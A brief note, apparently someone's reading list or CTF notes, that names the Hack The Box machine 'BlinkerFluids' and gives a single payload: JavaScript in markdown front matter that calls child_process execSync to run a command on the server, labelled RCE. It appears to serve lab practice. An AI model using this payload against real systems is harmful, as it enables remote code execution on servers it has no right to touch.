Need to read:

Example: HTB - BlinkerFluids

Payload

---js\n((require("child_process")).execSync("id > /tmp/RCE.txt"))\n---RCE